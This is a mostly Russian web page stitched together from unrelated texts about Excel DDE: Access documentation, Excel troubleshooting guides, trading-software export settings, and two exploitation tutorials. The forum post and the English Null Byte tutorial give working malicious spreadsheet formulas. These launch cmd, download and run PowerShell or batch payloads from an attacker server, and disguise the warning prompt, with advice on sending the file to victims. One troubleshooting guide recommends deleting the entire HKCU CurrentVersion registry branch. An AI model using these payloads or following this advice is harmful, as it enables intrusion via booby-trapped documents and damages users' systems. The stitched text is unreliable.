Как включить dde в excel

Access для Microsoft 365 Access 2021 Access 2019 Access 2016 Access 2013 Access 2010 Access 2007 Еще…Меньше

С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.

Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.

Синтаксис

DDE(

приложение, документ, раздел

)

Функция DDE имеет следующие аргументы:

Ар
гумент

Описание


приложение

Это строковое выражение, определяющие приложение, которое может участвовать в беседе DDE. Обычно приложение это имя EXE-файла (без расширения EXE) для приложения Microsoft Windows, например Excel. Например, чтобы начать сеанс DDE с Excel, введите «Excel» в качестве аргумента приложения.


документ

Строковая выражение, которое является именем тема распознается приложением. Аргумент документ часто является документом или файлом данных. Список допустимых документов см. в документации приложения.


раздел

Строковая выражение, которое является именем элемент данных распознается приложением. Список возможных элементов можно посмотреть в документации другого приложения.

Замечания

Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.

При запросе данных из Excel разделом может быть идентификатор строки и столбца, например ««R1C1»«, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:

=DDE(«Excel», «Sheet1», «R1C1»)

Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).

При использовании функции DDE он становится доступной только для чтения в представление формы режиме предварительного просмотра. Например, при использовании функции DDE в текстовом поле изменить текст в этом поле будет нельзя. Необходимо изменить текст в другом приложении. Так как свойство ControlSource в режиме формы и предварительного просмотра является только для чтения, изменения в Конструктор.

Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.

Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.

Совет

Для управления объектами других приложений из Access можно воспользоваться автоматизацией.

В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.

Эле
мент управления

Замечания

Текстовое поле

Аргумент раздел может ссылаться на текст или числа. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись. Эту функцию можно использовать с текстовым полем, чтобы отображать данные, содержащиеся в ячейке листа.

Поле со списком

Функция DDE заполняет поле со списком данными, на которые ссылается аргумент раздел. Вводить данные в текстовую часть поля нельзя. Функцию DDE можно использовать с полем со списком, чтобы отобразить список стран и регионов, хранящийся в листе Excel.

Группа переключателей

Для свойства OptionValue каждого переключателя в группе задан номер. Как правило, номер первого переключателя — 1, второго — 2 и т. д. Возвращаемое функцией DDE число определяет, какой переключатель будет выбран.

Например, если функция DDE возвращает 2, будет выбран второй переключатель. Если функция возвращает значение, не соответствующее ни одному из возможных значений свойства OptionValue, переключатель выбран не будет. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись.

Флажок

Если функция DDE возвращает 0, флажок будет снят. Если она возвращает значение, отличное от нуля, например 1 или -1, флажок будет установлен. Если раздел ссылается на текст или более чем на одну единицу данных, например именованный диапазон на листе Excel, который содержит несколько ячеек, флажок будет недоступен.

Нужна дополнительная помощь?

Всем привет! Решил немного написать о реализации DDE в MS Excel.

В этой теме был был предложен вариант для MS Word, он и стал отправной точкой для изучения схожей уязвимости MS Excel.
DDE — Dynamic Data Exchange. Полный список команд DDE вы можете найти

Ссылка скрыта от гостей

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.

=cmd|’/c calc.exe’!A1

Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)

dde test exel 01 warn.JPG

Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.

dde test exel 02 warn.JPG

Калькулятор запустился

dde test exel 03.JPG

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(»

Ссылка скрыта от гостей

«);IEX $e’!_xlbgnm.A1

С помощью функции DownloadString наш Powershell парсит строку по адресу

Ссылка скрыта от гостей

, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:

dde test exel 041.JPG

Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1

PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.

Ссылка скрыта от гостей

Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)

dde aouto off.JPG

После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:

dde auto off excel.JPG

Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)

dde auto off excel.JPG

Результат- будет хотя бы уведомление

dde excel after fix.JPG

Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге

Результат — все дде блочатся напрочь

dde auto off excel3.JPG

ПС:
Еще это можно сделать через реестр

Код:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0WordOptions]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions]
"DontUpdateLinks"=dword:00000001
"DDEAllowed"=dword:00000000
"DDECleaned"=dword:00000001

Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:

EXCEL

Код:

=MSEXCEL|'......WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e'!''

Word

Код:

  { DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://server.com/evilscript.ps1'); # " "Microsoft Document Security Add-On" }

Тогда окно станет более безобидным:

Phish.JPG

Содержание

  • Причины возникновения ошибки
  • Решение проблемы
    • Способ 1: отключение игнорирования DDE
    • Способ 2: отключение режима совместимости
    • Способ 3: Очистка реестра
    • Способ 4: отключение аппаратного ускорения
    • Способ 5: отключение надстроек
    • Способ 6: сброс сопоставлений файлов
    • Способ 7: загрузка обновлений Windows и переустановка пакета Microsoft Office
  • Вопросы и ответы

Ошибка в Microsoft Excel

Несмотря на то, что, в целом, программа Microsoft Excel отличается довольно высоким уровнем стабильности работы, с этим приложением тоже иногда случаются проблемы. Одной из таких проблем является появление сообщения «Ошибка при направлении команды приложению». Оно возникает при попытке сохранить или открыть файл, а так же провести с ним некоторые другие действия. Давайте разберемся, чем вызвана данная проблема, и как её можно устранить.

Причины возникновения ошибки

Какие же основные причины вызывают данную ошибку? Можно выделить следующие:

  • Повреждение надстройки;
  • Попытка получить доступ к данным активного приложения;
  • Ошибки в системном реестре;
  • Повреждение программы Excel.

Решение проблемы

Пути устранения данной ошибки зависят от её причины. Но, так как в большинстве случаев, установить причину труднее, чем её ликвидировать, то более рациональным решением является методом проб попытаться найти верный способ действий из тех вариантов, которые представлены ниже.

Способ 1: отключение игнорирования DDE

Чаще всего, устранить ошибку при направлении команды удается путем отключения игнорирования DDE.

  1. Переходим во вкладку «Файл».
  2. Переход во вкладку Файл в Microsoft Excel

  3. Кликаем по пункту «Параметры».
  4. Переход в Параметры в Microsoft Excel

  5. В открывшемся окне параметров, переходим в подраздел «Дополнительно».
  6. Переход в раздел Дополнительно в Microsoft Excel

  7. Ищем блок настроек «Общие». Снимаем галочку около параметра «Игнорировать DDE-запросы от других приложений». Жмем на кнопку «OK».

Отключение игнорирования DDE в Microsoft Excel

После этого, в значительном числе случаев, проблема устраняется.

Способ 2: отключение режима совместимости

Ещё одной вероятной причиной, описанной выше проблемы, может быть включенный режим совместимости. Для того, чтобы отключить его, нужно последовательно проделать указанные ниже шаги.

  1. Переходим, с помощью проводника Windows, или любого файлового менеджера, в каталог размещения пакета программ Microsoft Office на компьютере. Путь к нему выглядит следующим образом: C:Program FilesMicrosoft OfficeOFFICE№. № — это номер офисного пакета. Например, папка, где хранятся программы Microsoft Office 2007, будет называться OFFICE12, Microsoft Office 2010 — OFFICE14, Microsoft Office 2013 — OFFICE15, и т.д.
  2. Путь к файлу Excel

  3. В папке OFFICE ищем файл Excel.exe. Кликаем по нему правой кнопкой мыши, и в появившемся контекстном меню выбираем пункт «Свойства».
  4. Переход в свойства в Microsoft Excel

  5. В открывшемся окне свойств Excel, переходим во вкладку «Совместимость».
  6. Переход во вкладку Совместимость в Microsoft Excel

  7. Если стоят флажки напротив пункта «Запустить программу в режиме совместимости», или «Выполнять эту программу от имени администратора», то снимаем их. Жмем на кнопку «OK».

Отключение запуска программы в режиме совместимости в Microsoft Excel

Lumpics.ru

Если галочки в соответствующих пунктах не установлены, то продолжаем искать источник проблемы в другом месте.

Способ 3: Очистка реестра

Одной из причин, которая может вызвать ошибку при направлении команды приложению в Excel, являются неполадки в реестре. Поэтому, нам его необходимо будет почистить. Перед тем, как приступать к дальнейшим действиям, для того чтобы подстраховать себя от возможных нежелательных последствий данной процедуры, настойчиво рекомендуем создать точку восстановления системы.

  1. Для того, чтобы вызвать окно «Выполнить», на клавиатуре вводим комбинацию клавиш Win+R. В открывшееся окно, вводим команду «RegEdit» без кавычек. Жмем на кнопку «OK».
  2. Переход в редактор реестра через окно Выполнить

  3. Открывается Редактор реестра. В левой части редактора расположено древо каталогов. Перемещаемся в каталог «CurrentVersion» по следующему пути: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion.
  4. Редактор реестра Windows

  5. Удаляем все папки, расположенные в директории «CurrentVersion». Для этого, кликаем по каждой папке правой кнопкой мыши, и в контекстном меню выбираем пункт «Удалить».
  6. Чистка реестра Windows

  7. После того, как удаление выполнено, перезагружаем компьютер и проверяем работоспособность программы Excel.

Способ 4: отключение аппаратного ускорения

Временным решением проблемы может стать отключение аппаратного ускорения в Excel.

  1. Переходим в уже знакомый нам по первому способу решения проблемы раздел «Параметры» во вкладке «Файл». Опять кликаем по пункту «Дополнительно».
  2. В открывшемся окне дополнительных параметров Excel, ищем блок настроек «Экран». Устанавливаем галочку около параметра «Отключить аппаратное ускорение обработки изображений». Кликаем по кнопке «OK».

Отключение аппаратного ускоренрия в Microsoft Excel

Способ 5: отключение надстроек

Как уже говорилось выше, одной из причин данной проблемы может быть неисправность какой-то надстройки. Поэтому, как временную меру, можно использовать отключение надстроек Excel.

  1. Опять переходим, находясь во вкладке «Файл», в раздел «Параметры», но на этот раз кликаем по пункту «Надстройки».
  2. Переход в надстройки в Microsoft Excel

  3. В самой нижней части окна, в выпадающем списке «Управление», выбираем пункт «Надстройки COM». Жмем на кнопку «Перейти».
  4. Переход в надстройки COM в Microsoft Excel

  5. Снимаем галочки со всех надстроек, которые указаны в списке. Жмем на кнопку «OK».
  6. Надстройки COM в Microsoft Excel

  7. Если после этого, проблема исчезла, то опять возвращаемся в окно надстроек COM. Устанавливаем галочку, и жмем на кнопку «OK». Проверяем, не вернулась ли проблема. Если все в порядке, то переходим к следующей надстройке, и т.д. Ту надстройку, на которой ошибка вернулась, отключаем, и больше не включаем. Все остальные надстройки можно включить.

Включение надстройки в Microsoft Excel

Если же после выключения всех надстроек проблема осталась, то это означает, что надстройки можно включить, а ошибку следует устранить другим способом.

Способ 6: сброс сопоставлений файлов

Для решения проблемы можно также попытаться сбросить сопоставления файлов.

  1. Через кнопку «Пуск» переходим в «Панель управления».
  2. Переход в Панель управления

  3. В Панели управления выбираем раздел «Программы».
  4. Переход в раздел Программы в Панели управления

  5. В открывшемся окне, переходим в подраздел «Программы по умолчанию».
  6. Переход в раздел Программы по умолчанию в Панели управления

  7. В окне настроек программ по умолчанию выбираем пункт «Сопоставление типов файлов и протоколов конкретных программ».
  8. Переход в раздел Сопоставления типа файлов в Панели управления

  9. В списке файлов выбираем расширение xlsx. Жмем на кнопку «Изменить программу».
  10. Переход к изменению программы

  11. В открывшемся списке рекомендуемых программ, выбираем Microsoft Excel. Делаем клик по кнопке «OK».
  12. Выбор программы

  13. В случае, если программы Excel нет в списке рекомендуемых программ, жмем на кнопку «Обзор…». Переходим по тому пути, о котором мы говорили, обсуждая способ решения проблемы отключением совместимости, и выбираем файл excel.exe.
  14. Переход к поиску программы

  15. Аналогичные действия проделываем и для расширения xls.

Способ 7: загрузка обновлений Windows и переустановка пакета Microsoft Office

Не в последнюю очередь виной появления данной ошибки в Excel может быть отсутствие важных обновлений Windows. Нужно проверить, все ли доступные обновления загружены, и в случае необходимости закачать недостающие.

  1. Опять открываем Панель управления. Переходим в раздел «Система и безопасность».
  2. Переход в систему и безопасность панели управления

  3. Кликаем по пункту «Центр обновления Windows».
  4. Переход в центр обновления Windows

  5. В случае, если в открывшемся окне присутствует сообщение о наличии обновлений, жмем на кнопку «Установить обновления».
  6. Переход к установке обновлений Windows

  7. Ждем, пока обновления будут установлены, и перезагружаем компьютер.

Если ни один из перечисленных методов не помог решить проблему, то возможно есть смысл задуматься о переустановке пакета программ Microsoft Office, а то и о переустановке операционной системы Windows в целом.

Как видим, довольно много возможных вариантов по устранению ошибки при направлении команды в программе Excel. Но, как правило, в каждом конкретном случае существует только одно верное решение. Поэтому, для того, чтобы ликвидировать эту проблему, придется методом проб использовать различные способы устранения ошибки, пока не будет найден единственно верный вариант.

Назначение полей окна настройки экспорта «Вывод через DDE сервер…»:

Поле Значение
Название таблицы Название таблицы QUIK, являющейся источником
данных
DDE-сервер Наименование DDE-сервера. Нажатием кнопки «По умолчанию»
возвращается значение «excel»
Рабочая книга Наименование файла, в
который будет выведена информация из таблицы. Кнопка «…» справа
позволяет указать существующий файл, расположенный на диске, и путь до
него. Если выбран DDE-сервер «excel», то файл рабочей книги должен иметь расширение
.xls или .xlsx.
Лист Наименование листа, на который будет перенесена
информация из таблицы
Запускать приложение DDE сервера
автоматически
Активизировать функцию
автоматического открытия выбранной рабочей книги в MS Excel при старте
экспорта. Флажок активен, если в качестве DDE сервера выбран
«excel».Поля «Рабочая книга» и «Лист» могут
быть не заполнены.
Левый верхний угол

  • Ряд
  • Колонка
Координаты начальной ячейки для передачи данных

  • Номер строки, считая сверху
  • Номер колонки, считая слева
Выводить таблицу, начиная со строки Выводить строки таблицы, начиная с заданного
номера. Может применяться для сокращения времени повторного вывода
таблиц, например Таблицы обезличенных сделок
Вывод после создания Активизировать функцию экспорта данных сразу после
загрузки файла с конфигурацией таблиц, например, при открытии программы
QUIK
Вывод при нажатии Ctrl+Shift+L При установленном флажке экспорт из таблицы может быть
активизирован нажатием приведенной комбинации клавиш
С заголовками строк Выводить в качестве первой колонки заголовки строк
таблицы QUIK
С заголовками столбцов Выводить в качестве первой строки заголовки столбцов
таблицы QUIK
Формальные заголовки Выводить в качестве заголовков их системные (служебные)
наименования. Может использоваться для удобства программирования.
Выводить пустые ячейки вместо нулей Оставлять пустыми (не заполнять числовыми значениями)
ячейки, содержащие нулевые значения. Данное свойство полезно при
графическом отображении рядов данных средствами MS Excel, для
предотвращения «провалов» линий графика в местах, где данные
отсутствуют (не были получены с сервера).

Нажатие кнопки «Начать вывод» приводит к старту
динамического вывода данных из указанной таблицы в файл экспорта. При нажатии
с установленным флагом «Запускать приложение DDE сервера автоматически» осуществляется попытка запустить MS Excel и
загрузить в него указанную книгу и лист. Если MS Excel не
запущен, то имя книги должно быть указано с
полным путем к существующему файлу либо поле «Рабочая книга» должно быть не
заполнено.

В MS Excel имена созданных, но еще не сохранённых книг задаются без
расширения, например, «Книга1». Если в качестве рабочей книги указано имя без
расширения, то сначала будет выполнена попытка найти такую книгу среди уже
открытых в MS Excel, а если она не найдена, то создать новую книгу. При этом
совпадение имени с указанным в поле «Рабочая книга» не гарантируется.

Если
имя книги не указано, то при запуске MS Excel в нем будет создана новая книга.
Если не указано имя листа, то в книге сначала ищется лист с названием
экспортируемой таблицы (например, «Таблица заявок #2»), а если он не найден,
то добавляется новый лист с таким названием. При запуске экспорта в MS Excel
из других таблиц без указания имени рабочей книги, будет использоваться эта же
рабочая книга.

Если в поле «Рабочая книга» указано имя файла без полного
пути до него, то происходит поиск файла в текущем рабочем каталоге. При
неудачной попытке системой выдается сообщение об ошибке.

In our previous article, we learned how to take advantage of a feature, Dynamic Data Exchange (DDE), to run malicious code when an MS Word document is opened. Because Microsoft built DDE into all of its Office products as a way to transfer data one time or continuously between applications, we can do the same thing in Excel to create a spreadsheet that runs malicious code when opened. The best part is, it will do so without requiring macros to be enabled.

Necurs Botnet Employs DDE Attack to Spread Ransomware

In the time since its discovery as an attack vector, many black hats have been successful in utilizing DDE. For example, the hackers behind the Necurs Botnet, one of the largest at 6 million, have been attempting to distribute Locky ransomware. They first use the botnet to send a surprisingly simple email.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

This email contains an attached Word document which uses DDE to open PowerShell and execute their code. The method is illustrated below.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

Hancitor Malware Uses a DDE Attack, Too

Hancitor malspam, which is also referred to as Chanitor or Tordal, is of particular note as it is an example of malware that changed tactics. It used to rely on macros, but since Oct. 16, 2017, it has begun to use DDE.

Below, we can see one of the best examples of social engineering that I’ve seen, which it uses to spread.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

The likely reason for the change from macros to DDE is that the user will no longer get any explicit security warnings. That being said, you do still get prompts when using DDE, such as the one below.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

Well, okay. I might not click through that. With the amount of work that was put into social engineering it the Word document, it’s interesting that the hackers behind Hancitor didn’t make any attempts to modify the prompt to be less conspicuous. Many people, such as Ryan Hanson on Twitter have shown how this can be done.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by ryHanson/Twitter

Many hackers have been focused on using DDE in Word. In the last article, we looked at using DDE in the fields of a Word document ourselves. However, DDE is also used in Excel, Quattro Pro, and Visual Basic. It’s surprisingly easy to employ in Excel, so let’s take a quick look at how it is done.

Step 1: Open Excel

Start by opening Excel, nothing fancy. Now we could leave it at that for this step, but for any practical real-world use, we need to spice it up with some social engineering. In order for this to work, we have two requirements. The target will need to click «Update» on the first popup and click «Yes» on the next.

This social-engineering attack takes advantage of the fact that the user can see the document when the popup appears. This lets us put something at the top of the document to make the document appear more legitimate to the user. We just reviewed two examples above that you can use for inspiration.

Step 2: Add a Formula

DDE allows us to perform command execution through Excel formulas. Excel uses it as an interprocess communication, which can be used to be call applications from within formulas and even process web requests to return live data to the workbook.

In simple terms, that lets us write a short formula to start a command prompt. Just add it to the formula field for any cell.

=cmd|’/k’!A1

Let’s look at what we just typed. The cmd is without an extension, but it tells Excel to open cmd.exe all the same. If you are interested, Microsoft has more DDE commands. The second part in single quotes is the arguments we are passing it.

Here I used /k for a persistent shell, however, you could also use /c for a one-off command. Unfortunately, the argument is limited to 1,024 bytes, the maximum cmd length for the CreateProcess() function.

Let’s take a quick look at it in action using calc.exe in place of whatever dubious code we may want to run.

=cmd|’/c calc.exe’!A1

After you enter it into a cell, save and close Excel spreadsheet, then reopen the document. You’ll be greeted with the first of two prompts. «Update» needs to be clicked for our code to run.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Then we get the second one. Notice how it says «Start application ‘CMD.EXE’?» That should be a red flag for anyone in the know, and will likely prevent them from clicking «Yes.» I’ll show you how we can change that in the next step.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Once «Yes» is clicked, we get magic code execution.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Step 3: Add Code

Now that we understand the basics, we can play around with it a bit. Remember how I said we can edit the «Start application» popup? It’s actually quite easy to do, as it’s just showing the first application we are attempting to run.

This allows us to obfuscate it by hiding cmd.exe behind another less conspicuous application, like Excel itself, but it will chew through some of our 1,024-byte limit. Try this in a cell formula:

=MSEXCEL|’……WindowsSystem32cmd.exe /c calc.exe’!»

Once you press enter, you should see the new popup. Notice how it says «Start application ‘MSEXCEL.EXE’?» It would be very easy to work that into any social engineering you do in the document.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

After you click «Yes,» you’ll see that it executes the code just as before.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Now, what if we wanted to run something more powerful than a calculator? Sensepost has been kind enough to provide an example of how to use it to open PowerShell and remotely load a script to execute. To do so, you would type the following formula.

=cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(«http://evilserver.com/sp.base64»);powershell -e $e’!A1

But, in reality, that’s more complicated than we need. It’s easier to just point cmd /c directly at a .bat script hosted in a WebDAV directory. We’ll do that instead below.

=cmd|’/c \evilserver.comsp.bat;IEX $e’!A1

You likely notice that SensePost used =cmd, which we just learned how to obfuscate, so let’s combine the two to fix that real quick.

=MSEXCEL|’……WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e’!»

Now we have an Excel formula that hides what application it is actually running, and then downloads and executes a .bat file from our remote server. It doesn’t take much imagination to see the mayhem we could cause with this.

Step 4: Save & Send

The last thing to do is save the document and send it off to the target. In the video below, you can see what this would look like on the receiving end if you were to download such a document using our obfuscation technique.

In the next video, you can see both sides of the attack. In this attack, the DDE formula is used to «pop a remote SYSTEM shell from an unprivileged user and remotely load and execute a modified MS16-032 PowerShell module to get reverse SYSTEM shell.» You can find more detail on the SensePost blog.

Step 5: Update Your Defense

Today. we’ve looked at a quick and simple way to execute code when an Excel document is opened. While this isn’t unique, what is special about this attack is that the word «security» is never mentioned, allowing a much greater chance for a social-engineering attack to succeed.

If you’re a Microsoft Office user, you should be careful of these and other warnings that may indicate another program is attempting to execute, or that a file is either requesting outside resources or needs unusual permissions to run. In all of these instances, your default reaction to a window like this popping up should be to deny permission.

You can take this a step further. If you don’t trust yourself to remember to say no to these popups, or just never want to see them, you can get rid of them by disabling automatic links. These settings don’t change across all Office programs, so you will need to open each and update the settings manually, but the process is the same for them all. Here’s how to do it in Word.

Open a Word or any other Office app you use and click on «File» in the top left. Then, when a blue bar appears along the left of the screen, click «Options,» which will be at the very bottom. The Word Options box will appear. Click on the «Advanced» tab, then scroll almost all the way down until you see General and uncheck «Update automatic links at open.»

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Once that is done, click «OK» to save the changes. This update to the settings will prevent DDE attacks from working, without impacting your everyday use of Word.

If you have multiple machines under management control, you can disable DDE execution via registry keys.

DDE Based Attacks in the Future

Clearly, there has been a spike in DDE use in the past few weeks. In spite of this, researchers like Brad Duncan don’t think it will continue like this for long.

I think attackers are using DDE because it’s different. We’ve been seeing the same macro-based attacks for years now, so perhaps criminals are trying something different just to see if it works any better. In my opinion, DDE is probably a little less effective than using macros. […] We might see more DDE-based attacks in the coming weeks, but I predict that will taper off in the next few months.

That being said, new DDE attack vectors are still being discovered every day. For example, Kevin Beaumont discovered it could be used in Outlook.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by GossiTheDog/Twitter

Then r0lan discovered not even your Microsoft contacts are safe from DDE.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by yeyint_mth/Twitter

There’s no telling what the next DDE attack vector will be, but you can be sure that I’ll write a how-to for it.

Thanks for reading! If you have any questions, you can ask here or on Twitter @The_Hoid.

  • Follow Null Byte on Twitter and Google+
  • Follow WonderHowTo on Facebook, Twitter, Pinterest, and Google+

Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.

Buy Now (90% off) >

Other worthwhile deals to check out:

  • 97% off The Ultimate 2021 White Hat Hacker Certification Bundle
  • 99% off The 2021 All-in-One Data Scientist Mega Bundle
  • 98% off The 2021 Premium Learn To Code Certification Bundle
  • 62% off MindMaster Mind Mapping Software: Perpetual License
Cover image via Sense Post/YouTube; Screenshots by Hoid/Null Byte (unless otherwise noted)

У вас возникли проблемы с открытием файла в Microsoft Excel на вашем компьютере? Если это так, ваш файл может быть поврежден или может возникнуть проблема с вашим приложением Excel, системой Windows или Mac. Мы покажем вам, как обойти эту проблему, чтобы вы могли просматривать данные электронной таблицы.

Хотя основной причиной, по которой вы не можете открыть файл Excel, может быть его повреждение, существуют и другие причины, такие как неправильное расширение файла, не отвечающее внешнее устройство, проблемная надстройка Excel и многое другое.

1. Убедитесь, что вы используете Excel для открытия файла

Если на вашем компьютере установлено несколько программ для работы с электронными таблицами, скорее всего, для запуска файла вы используете приложение, отличное от Excel.

Вы можете исправить это, заставив свою систему запускать файл с помощью реального приложения Excel.

  • Запустите File Explorer или Finder на вашем компьютере.
  • Щелкните правой кнопкой мыши электронную таблицу и выберите Открыть с помощью > Excel.

Если вы не найдете Excel в списке приложений, выберите Выбрать другое приложение, и вы увидите приложение.

2. Снимите флажок «Динамический обмен данными (DDE)» в Excel.

Известная причина вышеуказанной проблемы включает в себя включенную функцию DDE в Excel. Вы можете отключить эту опцию, чтобы посмотреть, решит ли это вашу проблему. Позже включить эту функцию, если вы хотите, легко.

  • Откройте Excel на своем компьютере и выберите «Параметры» слева.
  • Выберите «Дополнительно» на левой боковой панели.
  • Отключите параметр Игнорировать другие приложения, использующие динамический обмен данными (DDE) справа.

  • Выберите ОК в нижней части окна.
  • Попробуйте запустить файл с помощью Excel.

3. Восстановите поврежденный файл Excel

Microsoft Excel включает опцию, позволяющую исправить неисправные файлы, а затем открыть их с помощью приложения Excel. Этот вариант стоит использовать для решения вашей проблемы.

  • Запустите Excel, выберите «Открыть» слева и выберите «Обзор» в среднем столбце.
  • Откройте папку, содержащую файл Excel, щелкните файл один раз, выберите значок со стрелкой вниз рядом с кнопкой «Открыть» и выберите «Открыть и восстановить».

  • Разрешите Excel восстановить, а затем откройте файл.

4. Убедитесь, что файл имеет правильное расширение

Ваш файл электронной таблицы должен использовать расширение, поддерживаемое Excel, для запуска приложения. Ваш текущий файл может иметь неправильный формат файла, что вызывает проблемы в приложении.

В большинстве электронных таблиц Excel используется формат файлов XLS или XLSX. Ваш также может быть файлом CSV, который Excel поддерживает открытие.

Если это не относится к вашему файлу, измените расширение файла и посмотрите, решит ли это проблему.

  • Щелкните правой кнопкой мыши файл Excel и выберите «Переименовать».
  • Измените расширение файла на XLS или XLSX и нажмите Enter.

  • Запустите файл с помощью Excel.

Если ваш файл не открывается после изменения расширения, запустите приложение, в котором вы создали свой файл, и используйте параметр «Сохранить как» или аналогичный параметр приложения, чтобы изменить формат вашего файла на XLS или XLSX.

5. Скопируйте файл Excel из внешнего хранилища в локальное хранилище.

Если вы пытаетесь запустить файл Excel, хранящийся на внешнем устройстве, например на USB-накопителе, соединение этого устройства с компьютером может не работать, что вызывает проблемы.

В этом случае скопируйте файл с внешнего устройства на компьютер, а затем запустите локальную копию файла в приложении Excel. Это должно решить вашу проблему.

6. Используйте безопасный режим Excel Office в Windows 10 или 11.

Excel предлагает различные надстройки, которые помогут вам максимально эффективно использовать приложение. Иногда одна или несколько из этих надстроек работают со сбоями, вызывая проблемы с приложением и вашими файлами.

В этом случае вы можете изолировать эти надстройки и запускать Excel только с самыми необходимыми файлами. Вы можете сделать это, открыв приложение в безопасном режиме Office. Обратите внимание, что этот метод работает только на ПК с Windows.

  • Запустите диалоговое окно «Выполнить» на вашем ПК, нажав Windows + R.
  • Введите в поле следующее и нажмите Enter: excel /safe

  • Выберите «Файл» в верхнем левом углу Excel.
  • Выберите «Открыть» слева и выберите «Обзор» в среднем столбце.

  • Откройте папку, содержащую ваш файл, выберите файл и нажмите «Открыть» в нижней части окна.

7. Отключите аппаратное ускорение в Excel

